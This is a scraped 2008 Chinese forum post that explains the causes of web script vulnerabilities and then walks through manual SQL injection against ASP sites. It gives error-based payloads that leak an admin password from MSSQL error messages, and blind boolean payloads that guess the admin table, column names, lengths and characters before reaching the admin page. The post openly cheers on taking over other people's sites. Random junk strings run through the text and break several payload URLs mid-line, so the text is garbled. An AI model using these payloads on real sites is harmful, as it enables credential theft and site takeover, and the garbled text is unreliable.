过期域名预定抢注

用戶名  找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
8 D# u) `  n# I' M& }+ x8 [+ X  E  k0 T, l. _% _* U% b  @4 F
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
9 j+ z: v4 f, _4 E$ e& u5 H7 e) n; k, r5 d2 a6 S
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:
# b. B3 l( C4 `- J5 ^# A
$ |8 a2 x1 S# B/ z5 ?8 V  ·錯誤類型:
( G; I. z* a( K8 ?9 G
5 F( h9 E- P2 K9 E" ?$ k) {% iMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)' B7 k# g: e! W: h
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。$ _' S$ h% A. K0 ~
/test/show.asp, 第 34 行
: o, z9 R6 @9 b5 {) |& w, X8 M0 V6 x- J0 W* l0 R4 A7 u! n
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:
# m  M; g5 y7 U) B1 Shttp://localhost/test/show.asp?ID=4 and (Select password fro
1 L2 L; P5 W# v
* h+ c" n) n9 k. rm login where user_name=』admin』)>0,返回的出錯信息如下:. _& R6 ?( _  t/ J: ]2 K7 h
1 \3 O% ~- A" r6 {
  ·錯誤類型:
( D0 `" u8 N6 s# t2 t' t4 ]- A0 R1 |% ?4 A1 n
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)" Y; F1 K; b1 ?8 F5 G% p
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
5 z' x8 Y- K0 }8 g$ k/ j) X' V/test/show.asp, 第 34 行
. ~# u: Q5 T, g; |8 X) ^& k9 I* l& t5 s2 L1 c- L2 O/ h4 N
現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。$ c9 G! }; i: \5 f

# [5 x* s. W' s6 d: z對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
9 o: O; @3 k0 u) c- Q, h$ d! N1 d
# r6 S8 a" N( f) V( _" Z& Z0 jxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx
) [7 l$ k, C, T3 l) r- L; C# f* s+ ]( n4 T( ^, @* ^
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:8 \/ A+ j. X) T7 r8 C# n+ d
7 B8 D, O: `5 e; _8 g: Y
Microsoft vbscript 編譯器錯誤 錯誤碼率
6 h0 m( p# e0 c9 I$ j
% Y' g  A6 t2 R% R. C- }% |『800a03f6』                                                                                                                 
7 Q0 M9 y7 [! e8 ?+ N6 z( R6 x2 A( A0 I
缺少』End』$ w& B! W; @& l! |' h) I2 g
/ N: B' ]4 [6 W8 ?) p
/iishelp/common/500-100.asp,行242
' I* V9 L, i& B/ D& j( ]7 h9 U
6 a% e& h. y: O+ aADODB.Field 錯誤 『800a0bcd』! y. n$ C4 c4 D

3 v. i. g1 c, k, G0 s, l: ~一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:   
- I2 W( ?7 z$ n# g( [# t4 _# P/ h: ~4 ^* b) a4 t  C( H+ Q$ W$ Q. Z. w
  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′$ |& Q3 \& Q4 O; I
出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
  N0 \! ~4 T' D+ h1 K" R% Q/ R# c6 j3 H" [; k! h2 Y: L) ^
1 猜管理員帳號表。
2 A( ~" o; i2 \  H/ Y  S2 z( [! y% D- q! y2 猜相應表中的用戶的字段名以及密碼的字段名。$ R. P9 ], d7 O1 V( y9 ~0 F
3 猜出用戶名的長度和密碼的長度; M( ~+ Q$ L/ j; R- ]
4 猜出用戶和密碼
- ^9 l% l( ^, L. p  [0 v2 m# e& E6 A& l5 找到管理頁面進入管理: ~+ O! u4 t0 `( [4 ?& l

- b4 @7 i" b/ b& k# v3 m猜管理員的表:                           
9 e6 o! L& c* Q/ Y
) p: [) S9 ]3 o+ l7 | http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值) V7 W( h; W) f* x2 O7 L
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。% ]7 [1 [& v# l4 f' `# w+ O
    0 l8 P9 w9 V. Y$ P4 @
猜用戶的字段名:# k6 t& F0 ^/ m0 a! n
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名
: H: e7 {7 w3 J0 m& Y再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)- ^& @4 T5 n7 Y3 }- F0 z' T2 z
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
6 g) n; O3 D0 n0 {
4 z+ @2 o9 G9 M猜密碼的字段名:3 `8 J8 g% _( \5 L% l8 i! x3 ^
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i
  P7 c, l* ?. p6 C
, ?9 d) I7 Y2 }! ]/ A/ y, E* Pd) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        
, @: T. D1 |/ G- O" F$ l* H* p# ^6 O+ _: ^2 k
再來:http://hostlocal/test2/list.asp?id=17 and 1=(select
' ]" X1 ?- Z& A& ^, ~
- u. x) R( _1 B0 f2 u( P min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa
; J* X2 ]! T7 ]7 y6 D1 X& e7 c# `. h( Y6 f
猜用戶字段名長度:                          
- g* U+ U& [7 D4 J* |/ t) C" Q4 l. r" q3 y+ W
http://hostlocal/test2/list.asp?id=17 and 1=(select min(+ f8 E: o, a& Y  m. w

/ N2 H! i2 H& k* w" pid) from admin where len(username)
& K0 h$ V/ `; b) ]2 |1 `' N+ t9 T7 h* Z6 h5 f0 R2 T. O; C
>5)                                                             ! W- b0 h+ a4 H( i; U

, R  O- q; u5 G& p 正確! N0 W) m  Z7 _/ w/ T! H! p4 j
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)1 {+ j% I0 X# q7 T) r" \, u
正確
/ [2 a/ X. p( o  U用戶名長度大於5小於10. C/ [8 Z5 y  e2 ~/ Z; ~
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)' P" w5 R$ ~  X6 h0 |! U& B+ E# m
2 L; B; i5 @4 X6 w, t0 {' M
=7)                                                              
: [& j/ F/ J* ]* N6 h3 m( T
  C& o2 f3 A3 h7 X5 ^呵``` 用戶名長度為7位
4 U# I" ~+ v6 A8 X! P' ~
+ J7 v$ W) u5 v7 }1 [6 h, J猜密碼長度:1 d2 z7 o" ~2 ]0 n9 u  T1 w$ g
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
# s5 `6 h( ]0 n% k1 G) Z正確0 H" v9 n  {5 K7 n* Y
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)( s7 Z  K0 i6 Y! L* v, v  f
正確
3 o8 x8 ], `5 R) V7 o% w7 ~/ V6 S! @密碼長度也是大於5小於10
" ]" D, y( b+ V; e( j. Z$ V3 thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
* t: N; K; ^( i. L5 o  U呵``` 密碼長度為7位/ J8 d$ |1 {5 o$ V( h

0 j6 ^% l) ?" ^: e+ y, ^+ i% i* u猜用戶名:
. ~% A: q- m$ f' J% _3 Vhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)  \0 Q: Y& m/ s4 L7 Y9 k# R
7 o% T) z# _$ Y! \* j) j
用戶名第一個字母是:a                                                         
% n1 W! j" ^3 W+ H- e* ]- v7 Q# E; F8 Q, B0 R0 g2 S
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
+ u1 I- r, u- L+ E2 }  z8 C  o+ {' G! M  H* o
(select min(id) from admin where mid(username,2,1)=′b′)                                             
* o6 [8 u9 d' ^" V2 f
/ }! O9 Y/ n5 J2 W* e( C& Q2 W$ t以此類推!1 z4 F) W, l( ?& c

) X! j1 w( I" n猜密碼:                                                                       
. [) [- E0 X. c3 i% e' c1 }0 O8 Z2 r* [' d2 E) d
猜密碼跟猜用戶名一樣!
8 O# q: w- f" O8 j1 {# Zhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′)
! O% {  i" k8 _3 ?. z4 G- p猜完後來到管理頁面:
. C; B6 y8 E2 F! qhttp://hostlocal/test2/admin.asp
, X) F3 @  j. s3 S
" t) a3 C% `3 r: I  t$ S登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

过期高净值品牌域名预定抢注

點基跨境 數位編輯創業論壇

GMT+8, 2025-6-8 17:17

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表